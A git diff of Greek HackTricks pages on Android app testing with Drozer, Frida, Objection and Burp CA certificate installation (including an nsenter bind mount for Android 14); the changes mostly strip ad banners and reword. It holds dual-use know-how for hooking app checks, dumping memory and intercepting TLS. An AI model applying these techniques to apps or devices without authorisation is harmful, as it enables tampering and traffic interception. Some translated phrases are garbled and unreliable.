- [Sieve](https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk) (από mrwlabs)
- [DIVA](https://payatu.com/wp-content/uploads/2016/01/diva-beta.tar.gz)
**Μέρη αυτού του tutorial έχουν εξαχθεί από το** [**Drozer documentation pdf**](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf)**.**
## Εγκατάσταση
## Installation
Εγκαταστήστε τον Drozer Client μέσα στον υπολογιστή σας. Κατεβάστε τον από τις [latest releases](https://github.com/mwrlabs/drozer/releases).
```bash
@ -29,7 +25,7 @@ adb install drozer.apk
```
### Ξεκινώντας τον Διακομιστή
Ο πράκτορας εκτελείται στη θύρα 31415, πρέπει να [port forward](https://en.wikipedia.org/wiki/Port_forwarding) για να καθιερώσουμε την επικοινωνία μεταξύ του Drozer Client και του Πράκτορα, εδώ είναι η εντολή για να το κάνουμε αυτό:
Ο πράκτορας εκτελείται στη θύρα 31415, πρέπει να [port forward](https://en.wikipedia.org/wiki/Port_forwarding) για να καθιερώσουμε την επικοινωνία μεταξύ του Drozer Client και του Πράκτορα, εδώ είναι η εντολή για να το κάνουμε:
```bash
adb forward tcp:31415 tcp:31415
```
@ -48,14 +44,14 @@ drozer console connect
| **Help MODULE** | Εμφανίζει βοήθεια για το επιλεγμένο module |
| **list** | Εμφανίζει μια λίστα με όλα τα drozer modules που μπορούν να εκτελούνται στην τρέχουσα συνεδρία. Αυτό κρύβει modules που δεν έχετε κατάλληλες άδειες για να εκτελέσετε. |
| **shell** | Ξεκινά μια διαδραστική Linux shell στη συσκευή, στο πλαίσιο του Agent. |
| **clean** | Αφαιρεί τα προσωρινά αρχεία που αποθηκεύονται από το drozer στη συσκευή Android. |
| **clean** | Αφαιρεί τα προσωρινά αρχεία που αποθηκεύει το drozer στη συσκευή Android. |
| **load** | Φορτώνει ένα αρχείο που περιέχει εντολές drozer και τις εκτελεί διαδοχικά. |
| **module** | Βρίσκει και εγκαθιστά επιπλέον drozer modules από το Διαδίκτυο. |
| **module** | Βρίσκει και εγκαθιστά επιπλέον drozer modules από το Διαδίκτυο. |
| **unset** | Αφαιρεί μια ονομαστική μεταβλητή που το drozer περνά σε οποιαδήποτε Linux shells που δημιουργεί. |
| **set** | Αποθηκεύει μια τιμή σε μια μεταβλητή που θα περαστεί ως περιβαλλοντική μεταβλητή σε οποιαδήποτε Linux shells που δημιουργεί το drozer. |
| **shell** | Ξεκινά μια διαδραστική Linux shell στη συσκευή, στο πλαίσιο του Agent |
| **run MODULE** | Εκτελεί ένα drozer module |
| **exploit** | Το drozer μπορεί να δημιουργήσει exploits για εκτέλεση στη συσκευή. `drozer exploit list` |
| **exploit** | Το Drozer μπορεί να δημιουργήσει exploits για εκτέλεση στη συσκευή. `drozer exploit list` |
| **payload** | Τα exploits χρειάζονται ένα payload. `drozer payload list` |
### Πακέτο
@ -239,7 +235,7 @@ run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --compo
```xml
<application theme="@2131296387" debuggable="true"
```
Μπορείτε να βρείτε όλες τις εφαρμογές που μπορούν να αποσφαλματωθούν με **Drozer**:
Μπορείτε να βρείτε όλες τις εφαρμογές που μπορούν να αποσφαλματωθούν με το **Drozer**:
```bash
run app.package.debuggable
```
@ -254,10 +250,6 @@ run app.package.debuggable
- [https://blog.dixitaditya.com/android-pentesting-cheatsheet/](https://blog.dixitaditya.com/android-pentesting-cheatsheet/)
<img src="../../../images/i3.png" alt="" data-size="original">
**Tip για bug bounty**: **εγγραφείτε** στο **Intigriti**, μια premium **πλατφόρμα bug bounty που δημιουργήθηκε από hackers, για hackers**! Ελάτε μαζί μας στο [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) σήμερα, και αρχίστε να κερδίζετε βραβεία έως **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,11 +2,6 @@
{{#include ../../../banners/hacktricks-training.md}}
<figure><img src="../../../images/i3.png" alt=""><figcaption></figcaption></figure>
**Tip για bug bounty**: **εγγραφείτε** στο **Intigriti**, μια premium **πλατφόρμα bug bounty που δημιουργήθηκε από hackers, για hackers**! Ελάτε μαζί μας στο [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) σήμερα, και αρχίστε να κερδίζετε βραβεία έως **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
## Εγκατάσταση
@ -182,10 +177,5 @@ onComplete: function () {},
- [https://github.com/DERE-ad2001/Frida-Labs](https://github.com/DERE-ad2001/Frida-Labs)
- [Μέρος 1 της σειράς ιστολογίων για Προχωρημένη Χρήση Frida: Βιβλιοθήκες Κρυπτογράφησης IOS](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/)
<figure><img src="../../../images/i3.png" alt=""><figcaption></figcaption></figure>
**Συμβουλή για bug bounty**: **εγγραφείτε** στο **Intigriti**, μια premium **πλατφόρμα bug bounty που δημιουργήθηκε από hackers, για hackers**! Ελάτε μαζί μας στο [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) σήμερα, και αρχίστε να κερδίζετε βραβεία έως **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,21 +2,15 @@
{{#include ../../../banners/hacktricks-training.md}}
<figure><img src="../../../images/i3.png" alt=""><figcaption></figcaption></figure>
**Tip για bug bounty**: **εγγραφείτε** στο **Intigriti**, μια premium **πλατφόρμα bug bounty που δημιουργήθηκε από hackers, για hackers**! Ελάτε μαζί μας στο [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) σήμερα, και αρχίστε να κερδίζετε βραβεία έως **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
**Αυτή είναι μια περίληψη της ανάρτησης**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\
**Αυτό είναι μια περίληψη της ανάρτησης**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\
**APK**: [https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases)\
**Πηγαίος Κώδικας**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo)
**Κώδικας Πηγής**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo)
## Python
Η Frida σας επιτρέπει να **εισάγετε κώδικα JavaScript** μέσα σε συναρτήσεις μιας εκτελούμενης εφαρμογής. Αλλά μπορείτε να χρησιμοποιήσετε **python** για να **καλέσετε** τα hooks και ακόμη και να **αλληλεπιδράσετε** με τα **hooks**.
Αυτό είναι ένα εύκολο σενάριο python που μπορείτε να χρησιμοποιήσετε με όλα τα προτεινόμενα παραδείγματα σε αυτό το tutorial:
Αυτό είναι ένα εύκολο σενάριο python που μπορείτε να χρησιμοποιήσετε με όλα τα προτεινόμενα παραδείγματα σε αυτό το σεμινάριο:
```python
#hooking.py
import frida, sys
@ -124,10 +118,5 @@ return encrypted_ret
Μπορείτε να το δείτε στο [επόμενο tutorial](frida-tutorial-2.md).
<figure><img src="../../../images/i3.png" alt=""><figcaption></figcaption></figure>
**Συμβουλή για bug bounty**: **εγγραφείτε** στο **Intigriti**, μια premium **πλατφόρμα bug bounty που δημιουργήθηκε από hackers, για hackers**! Ελάτε μαζί μας στο [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) σήμερα, και αρχίστε να κερδίζετε βραβεία έως **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,14 +2,8 @@
{{#include ../../../banners/hacktricks-training.md}}
<figure><img src="../../../images/i3.png" alt=""><figcaption></figcaption></figure>
**Tip για bug bounty**: **εγγραφείτε** στο **Intigriti**, μια premium **πλατφόρμα bug bounty που δημιουργήθηκε από hackers, για hackers**! Ελάτε μαζί μας στο [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) σήμερα, και αρχίστε να κερδίζετε βραβεία έως **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
**Αυτή είναι μια περίληψη της ανάρτησης**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Μέρη 2, 3 & 4)\
**APKs και Πηγαίος κώδικας**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
**Αυτό είναι ένα συνοπτικό κείμενο της ανάρτησης**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Μέρη 2, 3 & 4)\
**APKs και Κώδικας Πηγής**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
Το μέρος 1 είναι πολύ εύκολο.
@ -114,7 +108,7 @@ script.exports.hooksecretfunction()
```
Η εντολή "**1**" θα **βγει**, η εντολή "**2**" θα βρει και θα **καλέσει την ιδιωτική συνάρτηση** _**secret()**_ και η εντολή "**3**" θα **συνδέσει** τη συνάρτηση _**secret()**_ έτσι ώστε να **επιστρέφει** μια **διαφορετική συμβολοσειρά**.
Έτσι, αν καλέσετε το "**2**" θα πάρετε το **πραγματικό μυστικό**, αλλά αν καλέσετε το "**3**" και μετά το "**2**" θα πάρετε το **ψεύτικο μυστικό**.
Έτσι, αν καλέσετε "**2**" θα λάβετε το **πραγματικό μυστικό**, αλλά αν καλέσετε "**3**" και μετά "**2**" θα λάβετε το **ψεύτικο μυστικό**.
### JS
```javascript
@ -210,10 +204,5 @@ return this.setText(string_to_recv)
```
Υπάρχει ένα μέρος 5 που δεν πρόκειται να εξηγήσω γιατί δεν υπάρχει τίποτα νέο. Αλλά αν θέλετε να το διαβάσετε, είναι εδώ: [https://11x256.github.io/Frida-hooking-android-part-5/](https://11x256.github.io/Frida-hooking-android-part-5/)
<figure><img src="../../../images/i3.png" alt=""><figcaption></figcaption></figure>
**Συμβουλή για bug bounty**: **εγγραφείτε** στο **Intigriti**, μια premium **πλατφόρμα bug bounty που δημιουργήθηκε από hackers, για hackers**! Ελάτε μαζί μας στο [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) σήμερα και αρχίστε να κερδίζετε βραβεία έως **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,11 +2,7 @@
{{#include ../../../banners/hacktricks-training.md}}
<img src="../../../images/i3.png" alt="" data-size="original">
**Tip για bug bounty**: **εγγραφείτε** στο **Intigriti**, μια premium **πλατφόρμα bug bounty που δημιουργήθηκε από hackers, για hackers**! Ελάτε μαζί μας στο [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) σήμερα, και αρχίστε να κερδίζετε βραβεία έως **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
## **Εισαγωγή**
@ -14,9 +10,9 @@
[**Objection**](https://github.com/sensepost/objection) είναι ένα εργαλείο εξερεύνησης κινητών σε χρόνο εκτέλεσης, που υποστηρίζεται από [Frida](https://www.frida.re). Δημιουργήθηκε με σκοπό να βοηθήσει στην αξιολόγηση κινητών εφαρμογών και της ασφάλειας τους χωρίς την ανάγκη για jailbroken ή rooted κινητή συσκευή.
**Σημείωση:** Αυτό δεν είναι κάποια μορφή jailbreak / root bypass. Χρησιμοποιώντας το `objection`, εξακολουθείτε να περιορίζεστε από όλους τους περιορισμούς που επιβάλλει το εφαρμοστέο sandbox που αντιμετωπίζετε.
**Σημείωση:** Αυτό δεν είναι κάποια μορφή jailbreak / root bypass. Χρησιμοποιώντας το `objection`, εξακολουθείτε να περιορίζεστε από όλους τους περιορισμούς που επιβάλλει το σχετικό sandbox που αντιμετωπίζετε.
### Βιογραφικό
### Περίληψη
Ο **στόχος** του **objection** είναι να επιτρέψει στον χρήστη να καλέσει τις **κύριες ενέργειες που προσφέρει η Frida**. **Αλλιώς**, ο χρήστης θα χρειαστεί να δημιουργήσει ένα **μοναδικό script για κάθε εφαρμογή** που θέλει να δοκιμάσει.
@ -36,18 +32,18 @@ pip3 install objection
Κάντε μια **κανονική σύνδεση ADB** και **ξεκινήστε** τον **server frida** στη συσκευή (και ελέγξτε ότι το frida λειτουργεί τόσο στον πελάτη όσο και στον server).
Αν χρησιμοποιείτε μια **rooted συσκευή**, είναι απαραίτητο να επιλέξετε την εφαρμογή που θέλετε να δοκιμάσετε μέσα στην επιλογή _**--gadget**_. σε αυτή την περίπτωση:
Αν χρησιμοποιείτε μια **rooted συσκευή**, είναι απαραίτητο να επιλέξετε την εφαρμογή που θέλετε να δοκιμάσετε μέσα στην _**--gadget**_ επιλογή. σε αυτή την περίπτωση:
```bash
frida-ps -Uai
objection --gadget asvid.github.io.fridaapp explore
```
### Βασικές Ενέργειες
Δεν θα παρατεθούν όλες οι δυνατές εντολές του objection σε αυτό το tutorial, μόνο αυτές που έχω βρει πιο χρήσιμες.
Δεν θα παρατίθενται όλες οι δυνατές εντολές του objection σε αυτό το tutorial, μόνο αυτές που έχω βρει πιο χρήσιμες.
#### Περιβάλλον
Ορισμένες ενδιαφέρουσες πληροφορίες (όπως κωδικοί πρόσβασης ή διαδρομές) θα μπορούσαν να βρεθούν μέσα στο περιβάλλον.
Ορισμένες ενδιαφέρουσες πληροφορίες (όπως κωδικοί πρόσβασης ή διαδρομές) μπορεί να βρεθούν μέσα στο περιβάλλον.
```bash
env
```
@ -163,7 +159,7 @@ android hooking watch class asvid.github.io.fridaapp.MainActivity --dump-args --
#### Αλλαγή της boolean τιμής επιστροφής μιας συνάρτησης
Από τον πηγαίο κώδικα μπορείτε να δείτε ότι η συνάρτηση _checkPin_ παίρνει μια _String_ ως όρισμα και επιστρέφει μια _boolean_. Ας κάνουμε τη συνάρτηση **να επιστρέφει πάντα true**:
Από τον πηγαίο κώδικα μπορείτε να δείτε ότι η συνάρτηση _checkPin_ παίρνει ένα _String_ ως όρισμα και επιστρέφει ένα _boolean_. Ας κάνουμε τη συνάρτηση **να επιστρέφει πάντα true**:
![](<../../../images/image (883).png>)
@ -189,7 +185,7 @@ android intent launch_service
```
### Μνήμη
#### Dump
#### Εκχύλισμα
```bash
memory dump all <local destination> #Dump all memory
memory dump from_base <base_address> <size_to_dump> <local_destination> #Dump a part
@ -219,20 +215,14 @@ memory write "<address>" "<pattern eg: 41 41 41 41>" (--string)
Μπορείτε να χρησιμοποιήσετε την εντολή `sqlite` για να αλληλεπιδράσετε με βάσεις δεδομένων sqlite.
### Exit
### Έξοδος
```bash
exit
```
## Τι μου λείπει από το Objection
- Οι μέθοδοι hooking μερικές φορές καταρρέουν την εφαρμογή (αυτό οφείλεται επίσης στο Frida).
- Οι μέθοδοι hooking μερικές φορές προκαλούν κρασάρισμα της εφαρμογής (αυτό οφείλεται επίσης στο Frida).
- Δεν μπορείτε να χρησιμοποιήσετε τις παρουσίες των κλάσεων για να καλέσετε συναρτήσεις της παρουσίας. Και δεν μπορείτε να δημιουργήσετε νέες παρουσίες κλάσεων και να τις χρησιμοποιήσετε για να καλέσετε συναρτήσεις.
- Δεν υπάρχει μια συντόμευση (όπως αυτή για το sslpinnin) για να κάνετε hook όλες τις κοινές μεθόδους κρυπτογράφησης που χρησιμοποιούνται από την εφαρμογή για να δείτε κρυπτογραφημένο κείμενο, απλό κείμενο, κλειδιά, IVs και αλγόριθμους που χρησιμοποιούνται.
<img src="../../../images/i3.png" alt="" data-size="original">
**Tip για bug bounty**: **εγγραφείτε** στο **Intigriti**, μια premium **πλατφόρμα bug bounty που δημιουργήθηκε από hackers, για hackers**! Ελάτε μαζί μας στο [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) σήμερα, και αρχίστε να κερδίζετε βραβεία έως **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
- Δεν υπάρχει μια συντόμευση (όπως αυτή για το sslpinnin) για να hookάρετε όλες τις κοινές μεθόδους κρυπτογράφησης που χρησιμοποιούνται από την εφαρμογή για να δείτε κρυπτογραφημένο κείμενο, απλό κείμενο, κλειδιά, IVs και αλγόριθμους που χρησιμοποιούνται.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,15 +2,10 @@
{{#include ../../../banners/hacktricks-training.md}}
<figure><img src="../../../images/i3.png" alt=""><figcaption></figcaption></figure>
**Tip για bug bounty**: **εγγραφείτε** στο **Intigriti**, μια premium **πλατφόρμα bug bounty που δημιουργήθηκε από hackers, για hackers**! Ελάτε μαζί μας στο [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) σήμερα και αρχίστε να κερδίζετε βραβεία έως **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
---
**Αυτή είναι μια περίληψη της ανάρτησης**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\
**Αυτό είναι μια περίληψη της ανάρτησης**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\
**APK**: [https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk](https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk)
## Λύση 1
@ -120,10 +115,4 @@ return false
send("Hooks installed.")
})
```
<figure><img src="../../../images/i3.png" alt=""><figcaption></figcaption></figure>
**Συμβουλή για bug bounty**: **εγγραφείτε** στο **Intigriti**, μια premium **πλατφόρμα bug bounty που δημιουργήθηκε από hackers, για hackers**! Ελάτε μαζί μας στο [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) σήμερα, και αρχίστε να κερδίζετε βραβεία έως **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,17 +2,14 @@
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Σε Εικονική Μηχανή
## Σε μια Εικονική Μηχανή
Πρώτα απ' όλα, πρέπει να κατεβάσετε το πιστοποιητικό Der από το Burp. Μπορείτε να το κάνετε αυτό στο _**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_
![](<../../images/image (367).png>)
**Εξάγετε το πιστοποιητικό σε μορφή Der** και ας **μετατρέψουμε** το σε μια μορφή που **το Android** θα μπορεί να **κατανοήσει.** Σημειώστε ότι **για να ρυθμίσετε το πιστοποιητικό burp στη συσκευή Android στο AVD** πρέπει να **τρέξετε** αυτή τη συσκευή **με** την επιλογή **`-writable-system`**.\
**Εξάγετε το πιστοποιητικό σε μορφή Der** και ας **μετατρέψουμε** το σε μια μορφή που **το Android** θα μπορεί να **κατανοήσει.** Σημειώστε ότι **για να ρυθμίσετε το πιστοποιητικό burp στη μηχανή Android στο AVD** πρέπει να **τρέξετε** αυτή τη μηχανή **με** την επιλογή **`-writable-system`**.\
Για παράδειγμα, μπορείτε να το τρέξετε όπως:
```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -http-proxy 192.168.1.12:8080 -writable-system
@ -32,7 +29,7 @@ adb reboot #Now, reboot the machine
## Χρήση του Magisc
Εάν **έχετε ριζώσει τη συσκευή σας με το Magisc** (ίσως έναν εξομοιωτή), και **δεν μπορείτε να ακολουθήσετε** τα προηγούμενα **βήματα** για να εγκαταστήσετε το πιστοποιητικό Burp επειδή το **σύστημα αρχείων είναι μόνο για ανάγνωση** και δεν μπορείτε να το επανατοποθετήσετε σε εγ writable, υπάρχει ένας άλλος τρόπος.
Αν **έχετε ριζώσει τη συσκευή σας με το Magisc** (ίσως έναν εξομοιωτή), και **δεν μπορείτε να ακολουθήσετε** τα προηγούμενα **βήματα** για να εγκαταστήσετε το πιστοποιητικό Burp επειδή το **σύστημα αρχείων είναι μόνο για ανάγνωση** και δεν μπορείτε να το επανατοποθετήσετε σε εγ writable, υπάρχει ένας άλλος τρόπος.
Εξηγείται σε [**αυτό το βίντεο**](https://www.youtube.com/watch?v=qQicUW0svB8) που πρέπει να κάνετε:
@ -56,11 +53,11 @@ adb reboot #Now, reboot the machine
Στην τελευταία έκδοση Android 14, έχει παρατηρηθεί μια σημαντική αλλαγή στη διαχείριση των πιστοποιητικών Αρχής Πιστοποίησης (CA) που είναι εμπιστευμένα από το σύστημα. Προηγουμένως, αυτά τα πιστοποιητικά βρίσκονταν στο **`/system/etc/security/cacerts/`**, προσβάσιμα και τροποποιήσιμα από χρήστες με δικαιώματα root, γεγονός που επέτρεπε άμεση εφαρμογή σε όλο το σύστημα. Ωστόσο, με το Android 14, η τοποθεσία αποθήκευσης έχει μεταφερθεί στο **`/apex/com.android.conscrypt/cacerts`**, έναν φάκελο εντός της διαδρομής **`/apex`**, ο οποίος είναι εκ φύσεως αμετάβλητος.
Οι προσπάθειες επανατοποθέτησης της **διαδρομής APEX cacerts** ως εγ writable αποτυγχάνουν, καθώς το σύστημα δεν επιτρέπει τέτοιες λειτουργίες. Ακόμη και οι προσπάθειες αποσύνδεσης ή επικάλυψης του φακέλου με ένα προσωρινό σύστημα αρχείων (tmpfs) δεν παρακάμπτουν την αμεταβλησία; οι εφαρμογές συνεχίζουν να έχουν πρόσβαση στα αρχικά δεδομένα πιστοποιητικού ανεξάρτητα από τις αλλαγές στο επίπεδο του συστήματος αρχείων. Αυτή η ανθεκτικότητα οφείλεται στο ότι η τοποθέτηση **`/apex`** έχει ρυθμιστεί με ΙΔΙΩΤΙΚΗ προπαραγωγή, διασφαλίζοντας ότι οποιεσδήποτε τροποποιήσεις εντός του φακέλου **`/apex`** δεν επηρεάζουν άλλες διαδικασίες.
Οι προσπάθειες επανατοποθέτησης της **διαδρομής APEX cacerts** ως εγ writable αποτυγχάνουν, καθώς το σύστημα δεν επιτρέπει τέτοιες λειτουργίες. Ακόμη και οι προσπάθειες αποσύνδεσης ή επικάλυψης του φακέλου με ένα προσωρινό σύστημα αρχείων (tmpfs) δεν παρακάμπτουν την αμεταβλητότητα; οι εφαρμογές συνεχίζουν να έχουν πρόσβαση στα αρχικά δεδομένα πιστοποιητικού ανεξάρτητα από τις αλλαγές στο επίπεδο του συστήματος αρχείων. Αυτή η ανθεκτικότητα οφείλεται στο ότι η τοποθέτηση **`/apex`** έχει ρυθμιστεί με ΙΔΙΩΤΙΚΗ προπαγάνδα, διασφαλίζοντας ότι οποιεσδήποτε τροποποιήσεις εντός του φακέλου **`/apex`** δεν επηρεάζουν άλλες διαδικασίες.
Η αρχικοποίηση του Android περιλαμβάνει τη διαδικασία `init`, η οποία, κατά την εκκίνηση του λειτουργικού συστήματος, ξεκινά επίσης τη διαδικασία Zygote. Αυτή η διαδικασία είναι υπεύθυνη για την εκκίνηση διαδικασιών εφαρμογών με ένα νέο namespace τοποθέτησης που περιλαμβάνει μια ιδιωτική τοποθέτηση **`/apex`**, απομονώνοντας έτσι τις αλλαγές σε αυτόν τον φάκελο από άλλες διαδικασίες.
Ωστόσο, υπάρχει μια λύση για όσους χρειάζονται να τροποποιήσουν τα πιστοποιητικά CA που είναι εμπιστευμένα από το σύστημα εντός του φακέλου **`/apex`**. Αυτό περιλαμβάνει την χειροκίνητη επανατοποθέτηση του **`/apex`** για να αφαιρεθεί η ΙΔΙΩΤΙΚΗ προπαραγωγή, καθιστώντας το έτσι εγ writable. Η διαδικασία περιλαμβάνει την αντιγραφή των περιεχομένων του **`/apex/com.android.conscrypt`** σε άλλη τοποθεσία, την αποσύνδεση του φακέλου **`/apex/com.android.conscrypt`** για να εξαλειφθεί ο περιορισμός μόνο για ανάγνωση, και στη συνέχεια την αποκατάσταση των περιεχομένων στην αρχική τους τοποθεσία εντός του **`/apex`**. Αυτή η προσέγγιση απαιτεί γρήγορη δράση για να αποφευχθούν οι κραδασμοί του συστήματος. Για να διασφαλιστεί η εφαρμογή αυτών των αλλαγών σε όλο το σύστημα, συνιστάται να επανεκκινήσετε τον `system_server`, ο οποίος επανεκκινεί αποτελεσματικά όλες τις εφαρμογές και φέρνει το σύστημα σε μια συνεπή κατάσταση.
Ωστόσο, υπάρχει μια λύση για όσους χρειάζονται να τροποποιήσουν τα πιστοποιητικά CA που είναι εμπιστευμένα από το σύστημα εντός του φακέλου **`/apex`**. Αυτό περιλαμβάνει την χειροκίνητη επανατοποθέτηση του **`/apex`** για να αφαιρεθεί η ΙΔΙΩΤΙΚΗ προπαγάνδα, καθιστώντας το έτσι εγ writable. Η διαδικασία περιλαμβάνει την αντιγραφή των περιεχομένων του **`/apex/com.android.conscrypt`** σε άλλη τοποθεσία, την αποσύνδεση του φακέλου **`/apex/com.android.conscrypt`** για να εξαλειφθεί ο περιορισμός μόνο για ανάγνωση, και στη συνέχεια την αποκατάσταση των περιεχομένων στην αρχική τους τοποθεσία εντός του **`/apex`**. Αυτή η προσέγγιση απαιτεί γρήγορη δράση για να αποφευχθούν οι κραδασμοί του συστήματος. Για να διασφαλιστεί η εφαρμογή αυτών των αλλαγών σε όλο το σύστημα, συνιστάται να επανεκκινήσετε τον `system_server`, ο οποίος επανεκκινεί αποτελεσματικά όλες τις εφαρμογές και φέρνει το σύστημα σε μια συνεπή κατάσταση.
```bash
# Create a separate temp directory, to hold the current certificates
# Otherwise, when we add the mount we can't read the current certs anymore.
@ -120,12 +117,12 @@ echo "System certificate injected"
```
### Bind-mounting through NSEnter
1. **Ρύθμιση ενός Εγγράψιμου Καταλόγου**: Αρχικά, δημιουργείται ένας εγγράψιμος κατάλογος με την τοποθέτηση ενός `tmpfs` πάνω από τον υπάρχοντα κατάλογο πιστοποιητικών συστήματος που δεν είναι APEX. Αυτό επιτυγχάνεται με την ακόλουθη εντολή:
1. **Ρύθμιση ενός Εγγράψιμου Καταλόγου**: Αρχικά, δημιουργείται ένας εγγράψιμος κατάλογος με την τοποθέτηση ενός `tmpfs` πάνω από τον υπάρχοντα κατάλογο πιστοποιητικών μη-APEX συστήματος. Αυτό επιτυγχάνεται με την ακόλουθη εντολή:
```bash
mount -t tmpfs tmpfs /system/etc/security/cacerts
```
2. **Προετοιμασία Πιστοποιητικών CA**: Αφού ρυθμιστεί ο εγ writable κατάλογος, τα πιστοποιητικά CA που προορίζονται για χρήση θα πρέπει να αντιγραφούν σε αυτόν τον κατάλογο. Αυτό μπορεί να περιλαμβάνει την αντιγραφή των προεπιλεγμένων πιστοποιητικών από το `/apex/com.android.conscrypt/cacerts/`. Είναι απαραίτητο να προσαρμοστούν οι άδειες και οι ετικέτες SELinux αυτών των πιστοποιητικών αναλόγως.
3. **Δέσμευση Μοντάρισμα για Zygote**: Χρησιμοποιώντας το `nsenter`, εισέρχεται κανείς στο namespace mount του Zygote. Το Zygote, ως η διαδικασία που είναι υπεύθυνη για την εκκίνηση εφαρμογών Android, απαιτεί αυτό το βήμα για να διασφαλιστεί ότι όλες οι εφαρμογές που θα ξεκινήσουν από εδώ και στο εξής θα χρησιμοποιούν τα νέα ρυθμισμένα πιστοποιητικά CA. Η εντολή που χρησιμοποιείται είναι:
2. **Προετοιμασία Πιστοποιητικών CA**: Αφού ρυθμιστεί ο εγγράψιμος κατάλογος, τα πιστοποιητικά CA που προορίζονται για χρήση θα πρέπει να αντιγραφούν σε αυτόν τον κατάλογο. Αυτό μπορεί να περιλαμβάνει την αντιγραφή των προεπιλεγμένων πιστοποιητικών από το `/apex/com.android.conscrypt/cacerts/`. Είναι απαραίτητο να προσαρμοστούν οι άδειες και οι ετικέτες SELinux αυτών των πιστοποιητικών αναλόγως.
3. **Δέσμευση Μοντάρισμα για Zygote**: Χρησιμοποιώντας το `nsenter`, εισέρχεται κανείς στο namespace μονταρίσματος του Zygote. Το Zygote, ως η διαδικασία που είναι υπεύθυνη για την εκκίνηση εφαρμογών Android, απαιτεί αυτό το βήμα για να διασφαλιστεί ότι όλες οι εφαρμογές που θα ξεκινήσουν από εδώ και στο εξής θα χρησιμοποιούν τα νέα ρυθμισμένα πιστοποιητικά CA. Η εντολή που χρησιμοποιείται είναι:
```bash
nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
```
@ -135,14 +132,11 @@ nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/securi
```bash
nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
```
5. **Εναλλακτική Προσέγγιση - Ήπια Επανεκκίνηση**: Μια εναλλακτική μέθοδος περιλαμβάνει την εκτέλεση της δεσμευμένης τοποθέτησης στη διαδικασία `init` (PID 1) ακολουθούμενη από μια ήπια επανεκκίνηση του λειτουργικού συστήματος με τις εντολές `stop && start`. Αυτή η προσέγγιση θα διαδώσει τις αλλαγές σε όλα τα namespaces, αποφεύγοντας την ανάγκη να αντιμετωπιστεί ξεχωριστά κάθε εκτελούμενη εφαρμογή. Ωστόσο, αυτή η μέθοδος γενικά προτιμάται λιγότερο λόγω της ταλαιπωρίας της επανεκκίνησης.
